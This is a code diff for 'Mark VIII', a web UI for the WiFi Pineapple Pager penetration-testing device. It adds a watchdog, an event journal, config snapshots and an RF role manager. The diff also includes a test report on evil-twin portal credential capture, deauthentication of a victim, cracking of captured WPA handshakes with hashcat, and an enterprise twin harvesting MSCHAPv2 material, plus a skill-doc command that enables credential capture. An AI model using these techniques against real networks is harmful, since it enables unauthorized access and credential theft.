+| 11 | Post-suite hygiene | — | **PASS** | All attacks stopped, zero leftover APs/tcpdump/watchdog churn, health env `pass`, victim restored to real `Znet` (`18:e8:29:b5:a4:2c`) |
+
+## New defects found this round
+
+### D1 — MEDIUM: portal download endpoint crashes on device
+`h_portal_download` (`server.py:5395`) imports `zipfile`, which python3-light does not ship
+(the import endpoint was converted to struct+zlib in d23ea56 but download was missed):
+`GET /api/portals/<name>/download` → `{"error": "No module named 'urllib'"}`.
+Fix: reuse the minimal ZIP writer approach or stream raw files.
+
+### D2 — MEDIUM: deploy-time auto-capture produces an empty pcap
+The 5GHz WPA deploy reported `"capture": true` but the auto-started `wlan1mon` capture died
+during AP bring-up (file stayed at the 24-byte header; no tcpdump process left). A capture
+started *after* the AP is up works fine (frames flow, monitor inherits phy channel context).
+Fix: arm the auto-capture after hostapd verify-loop completes, and/or have `_capture_state`
+detect-and-restart the dead pid (ISSUE 7 stale logic exists but did not fire here).
+Also: `h_attacks_capture` silently ignores a `channel` body param — either honor it or reject it.
+
+### D3 — LOW/cosmetic: `GET /api/attacks/capture` with no active capture returns 404
+`{"error":"not found"}` instead of `{running:false,...}` — UI-hostile shape.
+
+## T6 detail (Enterprise PARTIAL)
+
+Repro: deploy `kind=enterprise ssid=Znet enctype=wpa2 channel=44 passphrase=VictimPass123!`
+→ `verified:true, ctrl_linked:true`. Victim (standalone wpa_supplicant, MAC randomization off):
+
+- Association OK; outer PEAP TLS tunnel completes (`CTRL-EVENT-EAP-PROPOSED-METHOD method=25`)
+- Inner MSCHAPv2 exchange runs; client logs `EAP-MSCHAPV2: Received success` — i.e. the
+  standalone hostapd accepted the inner credentials (BUG 3 eap_users grammar fix works)
+- But every attempt then logs `EAP-MSCHAPV2: Invalid authenticator response in success request`
+  → supplicant refuses, disconnects, retries forever. Same result with matched and mismatched
+  passwords (server auto-accepts but its AuthResp never verifies) — consistent with the karma-
+  patched wpad issuing success without computing it from the stored secret.
+- TTLS/PAP could not be differentiated this round (client-side sed failure meant PEAP ran;
+  association-level flapping prevented a clean second attempt).
+- `hostap_basic` / `hostap_chalresp`: still empty (documented firmware residual — pineapd does
+  not forward from foreign hostapd instances). Enterprise client list DOES record associations.
+
+Net: enterprise twin captures inner-auth material server-side only as far as hostapd's own
+logs; portable credential loot remains impossible on 24.10.1 without a Hak5 pineapd change.
+
+## Evidence index (`evidence/r2_*`)
+
+| File | Content |
+|---|---|
+| `r2_t1_portal_captures.json` | Captured portal credentials (user/pass, victim MAC/hostname/IP) |
+| `r2_t2_deauth.cap` | wlan0mon pcap, 556 deauth frames (directed at victim) |
+| `r2_t2_deauth.json`, `r2_t2_kick.json` | API responses proving deauth/kick ok:true |
+| `r2_t3_deploy_wpa.json` | WPA twin deploy response (`capture:true`, `verified:true`) |
+| `r2_t3_hc_export.json`, `r2_handshakes.hc22000` | Exported 18 handshake hashes |
+| `r2_t4_cracked.txt` | hashcat --show output recovering the true PSK (victim + real client) |
+| `r2_t5_bulk.json` | Bulk deauth batch results (2 sent / 1 rejected) |
+| `r2_t6_deploy_ent.json` | Enterprise deploy response |
+
+Copies of key artifacts also live on-device (`/root/loot/**`) and on Kali (`/tmp/r2.hc22000`,
+removed wordlist).

payload/user/remote_access/pager-webui/_hak5_manifest.json

@@ -8,7 +8,7 @@
   "title": "Mark VIII",
   "author": "c4ch3c4d3",
   "description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
-  "version": "1.2",
+  "version": "1.3.2",
   "category": "remote_access",
   "tags": ["remote-access", "web-interface", "device-management", "pineap"],
   "firmware": "Pineapple Pager 24.10.1"

payload/user/remote_access/pager-webui/mk8-guard.init

@@ -0,0 +1,15 @@
+#!/bin/sh /etc/rc.common
+# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
+START=49
+STOP=90
+
+GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
+[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
+
+start() {
+    [ -f "$GUARD_DIR/server.py" ] || return 0
+    /usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
+        >/tmp/mk8-guard.log 2>&1 || true
+}
+
+stop() { return 0; }

payload/user/remote_access/pager-webui/mk8-watchdog.sh

@@ -0,0 +1,35 @@
+#!/bin/sh
+# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after> [max_ticks]
+# Exits quietly after max_ticks healthy ticks so sentinels cannot accumulate.
+PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"; MT="${5:-120}"
+DIR="/root/payloads/user/remote_access/pager-webui"
+[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
+fails=0; oks=0; tripped=0; ticks=0
+probe() {
+    curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
+    { ip link show wlan0mon >/dev/null 2>&1 ||
+      ip link show wlan1mon >/dev/null 2>&1; }
+}
+while true; do
+    if probe; then
+        fails=0
+        ticks=$((ticks + 1))
+        if [ "$tripped" = "0" ] && [ "$ticks" -ge "$MT" ]; then
+            exit 0
+        fi
+        if [ "$tripped" = "1" ]; then
+            oks=$((oks + 1))
+            if [ "$oks" -ge "$HA" ]; then
+                /usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
+                exit 0
+            fi
+        fi
+    else
+        fails=$((fails + 1)); oks=0
+        if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
+            tripped=1
+            /usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
+        fi
+    fi
+    sleep "$IV"
+done

payload/user/remote_access/pager-webui/mk8_events.py

@@ -0,0 +1,131 @@
+"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
+import json, os, threading, time
+from collections import deque
+
+MK8_DIR = '/mmc/mk8'
+EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
+MAX_BYTES = 5 * 1024 * 1024
+KEEP = 4
+_LOCK = threading.Lock()
+
+_COUNTER_KEYS = {'boot': 'boots', 'unexpected_boot': 'unexpected_boots',
+                 'rollback': 'rollbacks', 'restart': 'restarts',
+                 'guard_fix': 'guard_fixes'}
+COUNTER_KINDS = tuple(_COUNTER_KEYS)
+
+
+def _ensure_dir():
+    try:
+        os.makedirs(MK8_DIR, exist_ok=True)
+    except OSError:
+        pass
+
+
+def log_event(kind, sev='info', msg='', meta=None):
+    """Append one journal entry. Never raises: a reliability journal that
+    can crash its caller would defeat its purpose. Single-writer per
+    process is assumed; there is no inter-process lock."""
+    try:
+        entry = {'ts': int(time.time()), 'kind': str(kind), 'sev': sev,
+                 'msg': str(msg)[:500]}
+        if meta is not None:
+            json.dumps(meta)
+            entry['meta'] = meta
+        line = json.dumps(entry) + '\n'
+    except Exception:
+        try:
+            line = json.dumps({'ts': int(time.time()), 'kind': str(kind),
+                               'sev': sev, 'msg': str(msg)[:500],
+                               'meta_repr': repr(meta)[:500]}) + '\n'
+        except Exception:
+            return
+    with _LOCK:
+        _ensure_dir()
+        try:
+            if os.path.exists(EVENTS_PATH) and \
+                    os.path.getsize(EVENTS_PATH) > MAX_BYTES:
+                for i in range(KEEP - 1, 0, -1):
+                    src = '%s.%d' % (EVENTS_PATH, i)
+                    dst = '%s.%d' % (EVENTS_PATH, i + 1)
+                    if os.path.exists(src):
+                        os.replace(src, dst)
+                if os.path.exists(EVENTS_PATH):
+                    os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
+            with open(EVENTS_PATH, 'a') as f:
+                f.write(line)
+        except OSError:
+            pass
+
+
+def read_events(limit=100):
+    out = []
+    paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
+    paths.append(EVENTS_PATH)
+    for path in paths:
+        try:
+            with open(path) as f:
+                for l in f:
+                    if not l.strip():
+                        continue
+                    try:
+                        row = json.loads(l)
+                    except ValueError:
+                        continue
+                    if isinstance(row, dict):
+                        out.append(row)
+        except OSError:
+            continue
+    out.sort(key=lambda r: r.get('ts', 0))
+    return out[-limit:][::-1]
+
+
+def counters():
+    counts = {v: 0 for v in _COUNTER_KEYS.values()}
+    for row in read_events(limit=5000):
+        k = row.get('kind')
+        if k in _COUNTER_KEYS:
+            counts[_COUNTER_KEYS[k]] += 1
+    return counts
+
+
+def snapshot(event_limit=20, scan=2000):
+    """Newest-first events (up to event_limit) plus kind counters computed
+    over at most `scan` most-recent entries, in ONE parse pass. Bounded so a
+    large rotated journal cannot spike memory/CPU on every health poll."""
+    events = []
+    counts = {v: 0 for v in _COUNTER_KEYS.values()}
+    scanned = 0
+    paths = [EVENTS_PATH]
+    paths.extend(EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1))
+    tail_len = max(scan, event_limit)
+    for path in paths:
+        if len(events) >= event_limit and scanned >= scan:
+            break
+        try:
+            with open(path) as f:
+                tail = deque((l for l in f if l.strip()), maxlen=tail_len)
+        except OSError:
+            continue
+        for line in reversed(tail):
+            try:
+                row = json.loads(line)
+            except ValueError:
+                continue
+            if not isinstance(row, dict):
+                continue
+            scanned += 1
+            kind = row.get('kind')
+            if kind in _COUNTER_KEYS:
+                counts[_COUNTER_KEYS[kind]] += 1
+            if len(events) < event_limit:
+                events.append(row)
+            if len(events) >= event_limit and scanned >= scan:
+                break
+    events.sort(key=lambda r: r.get('ts', 0), reverse=True)
+    return {'events': events[:event_limit], 'reliability': counts}
+
+
+def mark_boot(unexpected=False):
+    log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
+              if unexpected else 'info',
+              msg='service started' + ('' if unexpected else ' cleanly'))

payload/user/remote_access/pager-webui/mk8_gate.py

@@ -0,0 +1,55 @@
+"""Risky-operation gate: preflight config snapshot + detached rollback watchdog."""
+import shlex
+import subprocess
+import threading
+
+WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
+FAIL_AFTER = 6          # consecutive local-liveness failures -> rollback
+HEALTHY_AFTER = 6       # consecutive successes after failure -> promote
+INTERVAL = 5            # seconds between probes
+MAX_TICKS = 120         # watchdog self-exits after this many quiet ticks
+_ENTER_LOCK = threading.Lock()
+
+# Dormant until an entrypoint (serve() / CLI ops) flips it on, so importing
+# this module never snapshots or spawns anything.
+ENABLED = False
+
+
+def watchdog_decision(state):
+    """state: {'fails': int, 'oks': int, 'tripped': bool,
+               'fail_after': 6, 'healthy_after': 6}
+    Returns (action, new_state): action in {'rollback','promote',None}."""
+    s = dict(state)
+    fa = s.get('fail_after', FAIL_AFTER)
+    ha = s.get('healthy_after', HEALTHY_AFTER)
+    if not s['tripped'] and s['fails'] >= fa:
+        return 'rollback', dict(s, tripped=True, oks=0)
+    if s['tripped'] and s['oks'] >= ha:
+        return 'promote', s
+    return None, s
+
+
+def _spawn_watchdog(name):
+    cmd = ('setsid sh %s %s %d %d %d %d >/dev/null 2>&1 &'
+           % (shlex.quote(WATCHDOG), shlex.quote(name),
+              INTERVAL, FAIL_AFTER, HEALTHY_AFTER, MAX_TICKS))
+    return subprocess.Popen(cmd, shell=True, start_new_session=True)
+
+
+def enter(op):
+    """Snapshot + spawn watchdog. Returns profile name or None when disabled.
+    Serialized so concurrent gated ops cannot interleave snapshots or spawn
+    racing watchdogs."""
+    if not ENABLED:
+        return None
+    with _ENTER_LOCK:
+        import mk8_profiles
+        name = mk8_profiles.auto_name(op)
+        mk8_profiles.snapshot(name)
+        _spawn_watchdog(name)
+    try:
+        import mk8_events
+        mk8_events.log_event('gate', msg='preflight snapshot %s' % name)
+    except Exception:
+        pass
+    return name

payload/user/remote_access/pager-webui/mk8_guard.py

@@ -0,0 +1,77 @@
+"""Boot-time reconciliation of crash-prone PineAP settings."""
+import time
+
+from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
+                    PINEAPD_SAFE_UCI, device_run)
+
+WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
+POOL_CLEAR_MAX = 20
+MONITORS = ('wlan0mon', 'wlan1mon')
+# pineapd.wlan1mon.hop is intentionally NOT part of the applied set: channel
+# hopping is owned by the RF role manager (_pause_hop/_resume_hop). Hop=1 is
+# the healthy recon baseline, so reconciling it here would silently disable a
+# pager-enabled setting at every boot and latch GUARD PENDING after any
+# attack-role switch.
+GR_TTL_SECONDS = 30
+_GR_CACHE = {'t': 0.0, 'data': None}
+
+
+def _wanted():
+    wanted = {k: v for k, v in PINEAPD_SAFE_UCI.items()
+              if k != 'pineapd.wlan1mon.hop'}
+    wanted.update(WANTED_EXTRA)
+    return wanted
+
+
+def _pool_size():
+    rc, out, err = device_run(
+        ['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
+    if rc != 0 or not (out or '').strip():
+        return 0
+    return len(out.split())
+
+
+def _ensure_pineapd_section():
+    """Stock daemon rewrites and profile restores can drop the whole
+    `config pineapd` section; every @pineapd[0] option write fails with
+    'Invalid argument' until it exists again. Probes SECTION existence
+    (`uci -q show @pineapd[0]`) — never an option, which may legitimately
+    be absent from a rewritten section."""
+    rc, out, err = device_run(['uci', '-q', 'show', 'pineapd.@pineapd[0]'])
+    if rc == 0:
+        return False
+    device_run(['uci', 'add', 'pineapd', 'pineapd'])
+    device_run(['uci', 'commit', 'pineapd'])
+    return True
+
+
+def reconcile(clear_pool=True):
+    changed = []
+    if _ensure_pineapd_section():
+        changed.append('pineapd.@pineapd[0] (section recreated)')
+    changed += _apply_uci_wanted(_wanted())
+    pool_cleared = False
+    if clear_pool and _pool_size() > POOL_CLEAR_MAX:
+        device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
+        pool_cleared = True
+    if changed or pool_cleared:
+        device_run(['uci', 'commit', 'pineapd'])
+    raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
+    _GR_CACHE['data'] = None
+    return {'changed': changed, 'pool_cleared': pool_cleared,
+            'monitors_raised': raised}
+
+
+def guard_report():
+    now = time.time()
+    cached = _GR_CACHE['data']
+    if cached is not None and now - _GR_CACHE['t'] < GR_TTL_SECONDS:
+        return cached
+    from server import _pending_uci
+    _ensure_pineapd_section()
+    pending = _pending_uci(_wanted())
+    report = {'in_sync': not pending, 'pending': pending,
+              'pool_size': _pool_size()}
+    _GR_CACHE['t'] = now
+    _GR_CACHE['data'] = report
+    return report

payload/user/remote_access/pager-webui/mk8_profiles.py

@@ -0,0 +1,96 @@
+"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
+import os, re, time
+
+PROFILES_DIR = '/mmc/mk8/profiles'
+CONFIGS = ('pineapd', 'wireless', 'network')
+NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
+
+
+def run_cmd(args, timeout=20, input_data=None):
+    """Lazy import avoids a circular import with server.py; tests monkeypatch."""
+    from server import device_run
+    return device_run(args, timeout=timeout, input_data=input_data)
+
+
+def _path(name):
+    """Resolve a profile name to its directory. HTTP-supplied names are never
+    trusted: reject anything but [A-Za-z0-9._-]{1,64} and explicitly refuse
+    '.'/'..' so traversal can never escape PROFILES_DIR."""
+    if not isinstance(name, str) or not NAME_RE.fullmatch(name) \
+            or name in ('.', '..'):
+        raise ValueError('invalid profile name')
+    return os.path.join(PROFILES_DIR, name)
+
+
+def snapshot(name):
+    dest = _path(name)
+    try:
+        os.makedirs(dest, exist_ok=True)
+        wrote = False
+        for cfg in CONFIGS:
+            rc, out, err = run_cmd(['uci', 'export', cfg])
+            if rc != 0 or not (out or '').strip():
+                continue
+            with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
+                f.write(out)
+            wrote = True
+        return wrote
+    except OSError:
+        return False
+
+
+def auto_name(op):
+    return 'pre-%s-%d' % (op, int(time.time()))
+
+
+def list_profiles():
+    try:
+        out = []
+        for d in os.listdir(PROFILES_DIR):
+            try:
+                if os.path.isdir(_path(d)):
+                    out.append(d)
+            except ValueError:
+                continue
+        return sorted(out)
+    except OSError:
+        return []
+
+
+def delete(name):
+    import shutil
+    shutil.rmtree(_path(name), ignore_errors=True)
+
+
+def restore(name):
+    """Restore configs then commit once per config. Caller runs wifi reload
+    / service restart as appropriate for the operation."""
+    src = _path(name)
+    restored = []
+    if not os.path.isdir(src):
+        return {'ok': False, 'restored': [], 'error': 'profile not found'}
+    for cfg in CONFIGS:
+        fpath = os.path.join(src, cfg + '.uci')
+        if not os.path.isfile(fpath):
+            continue
+        with open(fpath) as f:
+            text = f.read()
+        rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
+        if rc != 0:
+            return {'ok': False, 'restored': restored,
+                    'error': 'import failed'}
+        crc, _, cerr = run_cmd(['uci', 'commit', cfg])
+        if crc != 0:
+            return {'ok': False, 'restored': restored,
+                    'error': 'commit failed: %s' % (cerr or cfg)}
+        restored.append(cfg)
+    return {'ok': True, 'restored': restored}
+
+
+LASTKNOWN_GOOD = 'lastknown-good'
+
+
+def promote_lastknown_good():
+    """Replace the lastknown-good profile with the live config."""
+    delete(LASTKNOWN_GOOD)
+    return snapshot(LASTKNOWN_GOOD)

payload/user/remote_access/pager-webui/mk8_rfplan.py

@@ -0,0 +1,181 @@
+"""Mark VIII RF role manager: radio1/phy1 is shared between an uplink STA
+(``wlan1up``) and attack work, so the roles are made mutually exclusive.
+Uplink pauses channel hopping; attack/idle resumes it."""
+import time
+
+ROLE_KEY = 'mk8.rfplan.role'
+IFACE = 'wlan1up'
+
+# wifi reload returns while wpa_supplicant is still scanning/authenticating;
+# poll instead of checking once or every real uplink would false-fail.
+ASSOC_ATTEMPTS = 5
+# Security modes tried in order for PSK uplinks. sae-mixed covers
+# WPA2/WPA3 transition APs; plain SAE covers WPA3-only (PMF required);
+# psk2 covers legacy WPA2-PSK. ieee80211w matches each mode's PMF need.
+PSK_MODE_CHAIN = (('sae-mixed', '1'), ('sae', '2'), ('psk2', '0'))
+ASSOC_WAIT_SECONDS = 2
+
+
+def current_role():
+    from server import _uci_values
+    cfg = _uci_values('wireless.%s' % IFACE) or {}
+    if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
+        return 'uplink'
+    return 'idle'
+
+
+def _sta_netdev():
+    """Actual netdev carrying the radio1 STA. OpenWrt ignores a requested
+    ifname for mac80211 STA ifaces (comes up as phy1-sta0), so resolve by
+    phy membership + managed type instead of by name."""
+    from server import device_run
+    rc, out, err = device_run(['iw', 'dev'], timeout=10)
+    if rc != 0:
+        return None
+    current = None
+    managed = []
+    for line in (out or '').splitlines():
+        line = line.strip()
+        if line.startswith('Interface '):
+            current = line.split()[1]
+        elif line.startswith('type managed') and current:
+            if not current.startswith('wlan0'):
+                managed.append(current)
+            current = None
+    for name in managed:
+        rc2, o2, _ = device_run(
+            ['readlink', '/sys/class/net/%s/phy80211' % name], timeout=10)
+        if rc2 == 0 and 'phy1' in (o2 or ''):
+            return name
+    return None
+
+
+def associated():
+    """BSSID of the uplink AP when the radio1 STA is associated, else None."""
+    from server import device_run
+    dev = _sta_netdev()
+    if not dev:
+        return None
+    rc, out, err = device_run(['iw', 'dev', dev, 'link'], timeout=10)
+    if rc != 0 or 'Connected' not in (out or ''):
+        return None
+    for line in (out or '').splitlines():
+        line = line.strip()
+        if line.startswith('Connected to '):
+            parts = line.split()
+            if len(parts) >= 3:
+                return parts[2]
+    return None
+
+
+def hop_paused():
+    from server import _read_hop
+    return _read_hop() == '0'
+
+
+def _ensure_cli_network():
+    """Make network 'cli' usable for the STA. Returns True when a network
+    change was staged and still needs ``uci commit network``. Stock firmware
+    ships 'cli' present but disabled; create a minimal DHCP interface when it
+    is missing entirely so netifd can bring wlan1up up either way."""
+    from server import device_run
+    rc, _, _ = device_run(['uci', '-q', 'get', 'network.cli'])
+    if rc != 0:
+        device_run(['uci', 'set', 'network.cli=interface'])
+        device_run(['uci', 'set', 'network.cli.proto=dhcp'])
+        return True
+    rc, out, _ = device_run(['uci', '-q', 'get', 'network.cli.disabled'])
+    if rc == 0 and out.strip() == '1':
+        device_run(['uci', 'set', 'network.cli.disabled=0'])
+        return True
+    return False
+
+
+def set_role(role, ssid=None, psk=None):
+    from server import device_run, _pause_hop, _resume_hop
+    if role not in ('uplink', 'attack', 'idle'):
+        return {'ok': False, 'error': 'role must be uplink, attack or idle'}
+    if role == 'uplink':
+        if not ssid:
+            return {'ok': False, 'error': 'ssid required'}
+        base_cmds = [
+            ['uci', 'set', 'wireless.wlan1up=wifi-iface'],
+            ['uci', 'set', 'wireless.wlan1up.device=radio1'],
+            ['uci', 'set', 'wireless.wlan1up.mode=sta'],
+            ['uci', 'set', 'wireless.wlan1up.network=cli'],
+            ['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
+            ['uci', 'set', 'wireless.wlan1up.disabled=0'],
+        ]
+        if psk:
+            base_cmds.append(['uci', 'set',
+                              'wireless.wlan1up.key=%s' % psk])
+        for c in base_cmds:
+            device_run(c)
+        if _ensure_cli_network():
+            # netifd consumes committed config only; staging without commit
+            # would leave the STA with no L3 attachment.
+            device_run(['uci', 'commit', 'network'])
+        _pause_hop()
+        assoc = None
+        used_mode = None
+        modes = PSK_MODE_CHAIN if psk else [('none', None)]
+        for enc, pmf in modes:
+            device_run(['uci', 'set', 'wireless.wlan1up.encryption=%s' % enc])
+            if pmf is not None:
+                device_run(['uci', 'set',
+                            'wireless.wlan1up.ieee80211w=%s' % pmf])
+            device_run(['uci', 'commit', 'wireless'])
+            device_run(['wifi', 'reload'], timeout=60)
+            for _ in range(ASSOC_ATTEMPTS):
+                time.sleep(ASSOC_WAIT_SECONDS)
+                assoc = associated()
+                if assoc:
+                    break
+            if assoc:
+                used_mode = enc
+                break
+        if not assoc or not used_mode:
+            disable_uplink()
+            # UCI alone does not converge runtime: without a reload wlan1up
+            # keeps scanning/authenticating and pins phy1 until some unrelated
+            # future reload, while current_role() already reports idle.
+            # Converge now like the idle branch, then reapply the hop policy.
+            device_run(['wifi', 'reload'], timeout=60)
+            _resume_hop()
+            return {'ok': False,
+                    'error': 'association failed; reverted',
+                    'tried_modes': [m for m, _ in modes]}
+        return {'ok': True, 'role': 'uplink', 'assoc': assoc,
+                'mode': used_mode}
+    # attack/idle: tear down the STA so radio1 is free again.
+    disable_uplink()
+    _resume_hop()
+    if role == 'attack':
+        # The deploy path performs its own wifi reload right after; teardown
+        # converges there without a second reload churn on this phy.
+        try:
+            import mk8_events
+            mk8_events.log_event(
+                'rfplan', msg='rfplan role attack applied; STA teardown '
+                              'applies at next wifi reload')
+        except Exception:
+            pass
+    else:
+        # idle has no guaranteed follow-up reload anywhere else, so converge
+        # now while the gated watchdog is still armed.
+        device_run(['wifi', 'reload'], timeout=60)
+    return {'ok': True, 'role': role}
+
+
+def disable_uplink():
+    from server import device_run
+    device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
+    device_run(['uci', 'commit', 'wireless'])
+
+
+def ensure_attack():
+    """Exclusivity hook for radio1 attack-AP enable paths: switch the
+    uplink off first so one phy never carries STA + AP at once."""
+    if current_role() == 'uplink':
+        return set_role('attack')
+    return None

payload/user/remote_access/pager-webui/pagerwebui.init

@@ -7,18 +7,24 @@ USE_PROCD=1
 PAGER_WEBUI_DIR="/root/payloads/user/remote_access/pager-webui"
 [ -f "$PAGER_WEBUI_DIR/server.py" ] || PAGER_WEBUI_DIR="/mmc/root/payloads/user/remote_access/pager-webui"
 
+boot() {
+    PAGER_WEBUI_BOOT=1
+    start
+}
+
 start_service() {
     [ -f "$PAGER_WEBUI_DIR/server.py" ] || return 1
     chmod -R 755 "$PAGER_WEBUI_DIR" 2>/dev/null
     procd_open_instance pagerwebui
     procd_set_param command /usr/bin/python3 "$PAGER_WEBUI_DIR/server.py"
+    procd_set_param env PAGER_WEBUI_BOOT="${PAGER_WEBUI_BOOT:-0}"
     procd_set_param respawn
     procd_set_param stdout 1
     procd_set_param stderr 1
-    procd_set_param pidfile /tmp/pagerwebui.pid
+    procd_set_param term_timeout 90
     procd_close_instance
 }
 
 stop_service() {
-    rm -f /tmp/pagerwebui.pid
+    return 0
 }

payload/user/remote_access/pager-webui/payload.sh

@@ -2,7 +2,7 @@
 # Title: Mark VIII
 # Description: Mark VII-style web management UI for the WiFi Pineapple Pager
 # Author: c4ch3c4d3
-# Version: 1.1
+# Version: 1.3.2
 # Category: Remote-Access
 # Tags: remote-access, web-interface, device-management, pineap
 # Firmware: Pineapple Pager 24.10.1
@@ -28,7 +28,7 @@ get_pager_ip() {
 }
 
 LOG "cyan" "+---------------------------+"
-LOG "cyan" "|       Mark VIII v1.1      |"
+LOG "cyan" "|       Mark VIII v1.3.2     |"
 LOG "cyan" "+---------------------------+"
 
 if ! command -v python3 >/dev/null 2>&1; then
@@ -36,6 +36,52 @@ if ! command -v python3 >/dev/null 2>&1; then
     exit 1
 fi
 
+run_env_check() {
+    LOG "cyan" "Running environment check..."
+    if ! python3 "$SCRIPT_DIR/server.py" --env-check; then
+        LOG "red" "Environment check FAILED. Fix the issues above and re-run the payload."
+        sleep 3
+        exit 1
+    fi
+    LOG "green" "Environment check passed."
+}
+
+wait_for_server() {
+    attempts="${1:-30}"
+    while [ "$attempts" -gt 0 ]; do
+        if curl -fsS "http://127.0.0.1:$PORT/" >/dev/null 2>&1; then
+            return 0
+        fi
+        sleep 1
+        attempts=$((attempts - 1))
+    done
+    return 1
+}
+
+wait_for_server_stop() {
+    attempts="${1:-12}"
+    while [ "$attempts" -gt 0 ]; do
+        if ! curl -fsS "http://127.0.0.1:$PORT/" >/dev/null 2>&1; then
+            return 0
+        fi
+        sleep 1
+        attempts=$((attempts - 1))
+    done
+    return 1
+}
+
+release_pager_truth() {
+    python3 "$SCRIPT_DIR/server.py" --release-pager >/tmp/pagerwebui-release.log 2>&1 || true
+}
+
+remove_boot_service() {
+    "$INIT_SCRIPT" stop 2>/dev/null || true
+    wait_for_server_stop 90 || true
+    release_pager_truth
+    "$INIT_SCRIPT" disable 2>/dev/null || true
+    rm -f "$INIT_SCRIPT"
+}
+
 if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" running 2>/dev/null; then
     PAGER_IP=$(get_pager_ip)
     LOG "green" "Mark VIII service is running"
@@ -43,14 +89,26 @@ if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" running 2>/dev/null; then
     resp=$(CONFIRMATION_DIALOG "Stop service?")
     if user_confirmed "$resp"; then
         LOG "yellow" "Stopping service..."
-        "$INIT_SCRIPT" stop
-        "$INIT_SCRIPT" disable
-        rm -f "$INIT_SCRIPT"
-        LOG "cyan" "Service stopped"
+        remove_boot_service
+        if ! wait_for_server_stop 90; then
+            LOG "red" "Service is still listening on port $PORT"
+            exit 1
+        fi
+        LOG "cyan" "Service stopped and removed from boot"
     fi
     exit 0
 fi
 
+if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" enabled 2>/dev/null; then
+    LOG "yellow" "Mark VIII boot service is installed but not running"
+    resp=$(CONFIRMATION_DIALOG "Remove boot service?")
+    if user_confirmed "$resp"; then
+        remove_boot_service
+        LOG "cyan" "Boot service removed"
+        exit 0
+    fi
+fi
+
 AUTO_MODE=$(PAYLOAD_GET_CONFIG pager_webui auto_mode 2>/dev/null)
 RUN_MODE=$(PAYLOAD_GET_CONFIG pager_webui run_mode 2>/dev/null)
 
@@ -67,13 +125,21 @@ else
 fi
 
 if user_confirmed "$resp"; then
+    run_env_check
     LOG "cyan" "Starting as background service..."
     [ ! -f "$SCRIPT_DIR/server.py" ] && { LOG "red" "server.py not found!"; exit 1; }
     cp "$SCRIPT_DIR/pagerwebui.init" "$INIT_SCRIPT"
     chmod +x "$INIT_SCRIPT"
     "$INIT_SCRIPT" enable
-    "$INIT_SCRIPT" start
-    sleep 1
+    if ! "$INIT_SCRIPT" start; then
+        LOG "red" "Service start command failed"
+        exit 1
+    fi
+    if ! wait_for_server 90; then
+        remove_boot_service
+        LOG "red" "Service failed startup checks; inspect logread"
+        exit 1
+    fi
     PAGER_IP=$(get_pager_ip)
     LOG "green" "Service started!"
     LOG "green" "http://$PAGER_IP:$PORT"
@@ -82,22 +148,25 @@ if user_confirmed "$resp"; then
     exit 0
 fi
 
+run_env_check
 LOG "cyan" "Starting foreground mode..."
 cleanup() {
     LOG "yellow" "Stopping Mark VIII..."
     [ -f "$PID_FILE" ] && kill "$(cat "$PID_FILE")" 2>/dev/null
+    wait_for_server_stop 90 || true
+    release_pager_truth
     rm -f "$PID_FILE"
-    LOG "cyan" "Stopped."
+    LOG "cyan" "Stopped. Pager UI is source of truth."
 }
 trap cleanup EXIT INT TERM
 
 [ ! -f "$SCRIPT_DIR/server.py" ] && { LOG "red" "server.py not found!"; exit 1; }
 python3 "$SCRIPT_DIR/server.py" >/tmp/pagerwebui.log 2>&1 &
 echo $! > "$PID_FILE"
-sleep 1
 
 PAGER_IP=$(get_pager_ip)
-if [ -f "$PID_FILE" ] && kill -0 "$(cat "$PID_FILE")" 2>/dev/null; then
+if wait_for_server 90 && [ -f "$PID_FILE" ] &&
+        kill -0 "$(cat "$PID_FILE")" 2>/dev/null; then
     LOG "green" "http://$PAGER_IP:$PORT"
     LOG ""
     LOG "magenta" "Press B to stop"

payload/user/remote_access/pager-webui/skills/pineapple-control.md

@@ -57,8 +57,11 @@ hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
 ```
 
 Captured credentials flow to pineapd's socket and land in
-`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
-pid, `iw dev wlan1ent del`, resume hop.
+`hostap_basic` / `hostap_chalresp` in recon.db. Mark VIII exposes them as
+EAP identities + MSCHAPv2 (RADIUS inner-auth equivalent) at
+`/api/pineap/enterprise/radius`, with hashcat `-m 5500` and john `netntlm`
+export. The Pager is an EAP terminator (PineAPE), not a UDP/1812 RADIUS
